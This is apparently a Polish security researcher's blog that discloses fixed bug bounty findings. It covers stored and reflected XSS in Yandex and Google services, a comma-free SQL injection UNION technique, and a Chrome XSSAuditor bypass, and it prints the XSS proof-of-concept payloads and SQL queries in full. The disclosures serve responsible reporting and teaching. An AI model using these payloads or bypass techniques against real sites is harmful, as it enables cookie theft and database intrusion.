Zgłoszony ponad dwa miesiące temu, dawno poprawiony - stored XSS w usłudze Yandex Mail objętej programem bug bounty.
Poniżej oryginalne zgłoszenie:
Hello there,
I just found an stored cross-site scripting vulnerability in Yandex.Mail. Here's a short info about reproduction of this bug:
1) Victim gets mail with picture of sweet kitteh ;) attachment name is:
kitteh<img src=a onerror=alert(document.cookie)>hhhh.jpg
2) As you can see - picture looks really cute - that's why victim decides to zoom it. After clicking the thumbnail - javascript code executes.
I attached some screenshot.
Waiting for feedback.
Greetings,
Jakub Zoczek
czwartek, 7 marca 2013
środa, 6 marca 2013
SQL Injection without comma char
Ostatnio podczas testowania pewnej strony na podatność SQL Injection zostało na mnie - podejrzewam nieświadomie - nałożone sprytne ograniczenie w postaci braku możliwości wykorzystania przecinka. Prawdopodobnie był on kiedyś separatorem parametrów przekazywanych przez GET, jednak z tego co zaobserwowałem tylko jedna część brała udział w zapytaniu.
Pojawiają się dwa pytania - jak użyć funkcji, w których separatorem parametrów jest przecinek, oraz najważniejsze - jak zrobić union select? ;-) Jakby ktoś kiedyś potrzebował:
Klucz programu:
Have fun!
Pojawiają się dwa pytania - jak użyć funkcji, w których separatorem parametrów jest przecinek, oraz najważniejsze - jak zrobić union select? ;-) Jakby ktoś kiedyś potrzebował:
mysql> SELECT substr('test',1,1); +--------------------+ | substr('test',1,1) | +--------------------+ | t | +--------------------+ 1 row in set (0.00 sec) mysql> SELECT substr('test' FROM 1 FOR 1); +-----------------------------+ | substr('test' FROM 1 FOR 1) | +-----------------------------+ | t | +-----------------------------+ 1 row in set (0.00 sec)
Klucz programu:
mysql> SELECT user_login, user_pass FROM wp_users WHERE user_login='-1' UNION SELECT null,user(); +------------+------------------+ | user_login | user_pass | +------------+------------------+ | NULL | zoczus@localhost | +------------+------------------+ 1 row in set (0.00 sec) mysql> SELECT user_login, user_pass FROM wp_users WHERE user_login='-1' UNION SELECT * FROM (SELECT null) AS a JOIN (SELECT user()) AS b; +------------+------------------+ | user_login | user_pass | +------------+------------------+ | NULL | zoczus@localhost | +------------+------------------+ 1 row in set (0.00 sec)
Have fun!
czwartek, 14 lutego 2013
XSS in... Blogger ;-)
Dwa miesiące temu w ramach programu bug bounty Google znalazłem błąd stored XSS w usłudze Blogger, z której właśnie macie przyjemność korzystać :-) Celem wyjaśnienia - bo o tym nie wspomniałem - oczywiście chodzi o modyfikacje nagłówka Referer podczas wejścia na bloga. Poniżej treść oryginalnego zgłoszenia i screenshoty.
Hello there!
I'm happy to tell, that I just found cross-site scripting bug in your blogger service.
When we put in Referer header something like this:
http://q-x.ath.cx/test'onclick="alert(document.cookie);"
And go to our blog page, our Statistic page will generate this kind of code:
<a target="_blank" href="http://q-x.ath.cx/test" onclick="alert(document.cookie);" '="">http://q-x.ath.cx/test'onclick="alert(document.cookie);"</a>
After clicking - we'll see alert :) You've got some screenshots in attachment.
Waiting for feedback, cheers!
Jakub Żoczek
Hello there!
I'm happy to tell, that I just found cross-site scripting bug in your blogger service.
When we put in Referer header something like this:
http://q-x.ath.cx/test'onclick="alert(document.cookie);"
And go to our blog page, our Statistic page will generate this kind of code:
<a target="_blank" href="http://q-x.ath.cx/test" onclick="alert(document.cookie);" '="">http://q-x.ath.cx/test'onclick="alert(document.cookie);"</a>
After clicking - we'll see alert :) You've got some screenshots in attachment.
Waiting for feedback, cheers!
Jakub Żoczek
Błąd oczywiście został błyskawicznie poprawiony.
piątek, 11 stycznia 2013
Yandex Bug Bounty - 2x Cross-Site Scripting
Jako, że od poprawienia błędów przez Yandex minął wystarczający czas - publikuje za zgodą firmy.
http://images.yandex.com/yandsearch?text="><script>alert('Kboom ' + document.cookie);</script>&site=yandex.ru
Screenshot:
Efekt:
Timeline:
2012/11/08 - report
2012/11/14 - fix
2013/01/11 - publish disclosure
Yandex jest jedną z kilku firm posiadających swój program Bug Bounty. Pod lupę bierzemy zarówno webaplikacje w wymienionych domenach jak i te przeznaczone dla urządzeń mobilnych. Zainteresowanych zapraszam do zapoznania się z programem - i życzę powodzenia! :)
REFLECTED XSS - Yandex Images
PoC (url decoded):
http://images.yandex.com/yandsearch?text="><script>alert('Kboom ' + document.cookie);</script>&site=yandex.ru
Screenshot:
STORED XSS - Yandex Metrica
PoC:
Przez odwiedzenie strony zawierającej kod analizujący w taki sposób:
http://hostname/test.php?id="><img src="a" onerror="alert(document.cookie);">
http://hostname/test.php?id="><img src="a" onerror="alert(document.cookie);">
Timeline:
2012/11/08 - report
2012/11/14 - fix
2013/01/11 - publish disclosure
BUG BOUNTY
wtorek, 8 stycznia 2013
Spotkanie OWASP Poland w Poznaniu
W dniu dzisiejszym na liście mailingowej OWASP Poland pojawiła się informacja o pierwszym bezpłatnym i otwartym spotkaniu grupy, które odbędzie się 31.01.2013r. o 15:00 w Centrum Konferencyjnym IOR (ul. Władysława Węgorka 20, Poznań). Wszystkich zainteresowanych tematyką bezpieczeństwa webaplikacji zapraszam do zapoznania się ze szczegółami oraz zapisania się tutaj. :-) Share it with friends! Do zobaczenia!
View Larger Map
View Larger Map
piątek, 4 stycznia 2013
Chrome i XSSAuditor
Słowem wstępu
Jakiś czas temu zastanawiałem się, jak ominąć zabezpieczenie przed reflected xss'ami w przeglądarce, z której korzystam na codzień - czyli Google Chrome (22.0.1229.79, Linux) Po czasie znalazłem pewien sposób - więc zgłosiłem błąd. Jak się okazuje, takie,a nie inne działanie było zamierzone. Moje zgłoszenie zostało zamknięte - zresztą słusznie, ponieważ w kodzie XSSAuditora znaleźć można taki fragment (a ja do kodu - przyznam się bez bicia - nawet nie zajrzałem):
bool XSSAuditor::isLikelySafeResource(const String& url)
{
...
// If the resource is loaded from the same host as the enclosing page, it's
// probably not an XSS attack, so we reduce false positives by allowing the
// request, ignoring scheme and port considerations. If the resource has a
// query string, we're more suspicious, however, because that's pretty rare
// and the attacker might be able to trick a server-side script into doing
// something dangerous with the query string.
...
}
Zatem - biorąc pod uwagę powyższe, sposób o którym w szczegółach napiszę niżej, faktycznie przeglądarka uzna za bezpieczny.
O co chodzi?
Zabezpieczenie przed atakami typu XSS w Google Chrome polega na tym, że jeżeli nasz request (GET / POST) zawiera kod javascript, który przeglądarka ma potem wykonać (czyli zwrócony content zawiera tenże kod)... to go nie wykona ;) Weźmy pod lupę taki skrypt PHP:
<?phpCzarno na białym widać co tu się święci ;-) Dla jasności, nasz skrypt znajduje się - przykładowo - pod adresem http://myhostname/~zoczus/inc.php. Umieszczając w parametrze GET takie wartości, przeglądarka je zablokuje:
echo "Bla, bla, bla<br>";
echo $_GET['a'];
?>
- <script>alert('EVIL');</script>
- <script src="http://some.otherhost/alert.js"></script>
- <img src="a" onerror="alert(document.cookie)">
- <object width='400' height='400' data='data:text/html;base64,PHNjcmlwdD5hbGVydCgnS2Jvb20nKTs8L3NjcmlwdD4K'></object>
ALE, gdy zrobimy tak:
- <script src="http//myhostname/TEST.JS">alert("I won't be executed");</script>
- <script src="ftp://myhostname/alert.txt">alert("neither me");</script>
...to skrypt TEST.JS / alert.txt wykona się, a to co w tag'ach script - nie. To tyle. Nasuwa się szalenie prosty wniosek z tych całych rozmyśleń - miejsc, w których możemy taki atak wykorzystać jest niewiele. Zatem jeżeli na stronie mamy możliwość upload'u pliku i dostępu do jego zawartości lub force-download z serwera - możemy to wykorzystać. Z tego co sprawdziłem, przekazanie parametru GET w formie http://myhostname/test.php?param=value blokuje wykonanie, ale gdy programista korzysta z mod_rewrite i odnośnik będzie miał na przykład taką formę: http://myhostname/test/param/value - skrypt się wykona. Jeżeli w nagłówku odpowiedzi dostajemy header Location, który możemy kontrolować - to nawet jeżeli nasz skrypt jest na zupełnie innym zasobie - wykona się. Jeżeli na tym samym hoście znajduje się anonimowy serwer ftp z możliwością zapisu - możemy to wykorzystać. Protokół oraz port nie mają znaczenia - znaczenie ma wyłącznie host (subdomeny odpadają). Myślę, że wszystko jest jasne - jeśli macie inne ciekawe wariacje na ominięcie XSSAuditora, na przykład z wykorzystaniem innych protokołów - śmiało udzielajcie się w komentarzach. :)
Co robić?
Filtrować - to programiści. Użytkownicy - zwracać uwagę na to w co klikają. :)
niedziela, 23 grudnia 2012
Stored XSS in Google Reader
Z racji na datę - chciałbym wszystkim życzyć Wesołych Świąt! ;)
Poniżej moje zgłoszenie dotyczące błędu w usłudze Google Reader. Zgłoszony przeze mnie 08/10/2012, poprawiony w przeciągu niecałych dwóch dni.
Oryginalna treść zgłoszenia:
Hello there!
I have just found XSS bug in one of Google Web Applications - Reader (reader.google.com). Here is my proof-of-concept: http://q-x.ath.cx/~zoczus/google-poc.rss
This is how it works - after we subscribe this rss channel we can see it on the list (left one). There's a ability to drag this item and move it in some other place (for example - directory or just position change). After that - we'll get my js code executed.
Here is decoded payload from title section:
Here we go. I think this title is loooooooooooooooooooooooooong enough to hide THIS evil code my friends: <object width="400" height="400" data="data:text/html;base64,PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmFsZXJ0KCdCb29tIScpOzwvc2NyaXB0Pgo="></object>
And base64 decoded script (from object section):
<script type="text/javascript">alert('Boom!');</script>
Subskrybuj:
Posty (Atom)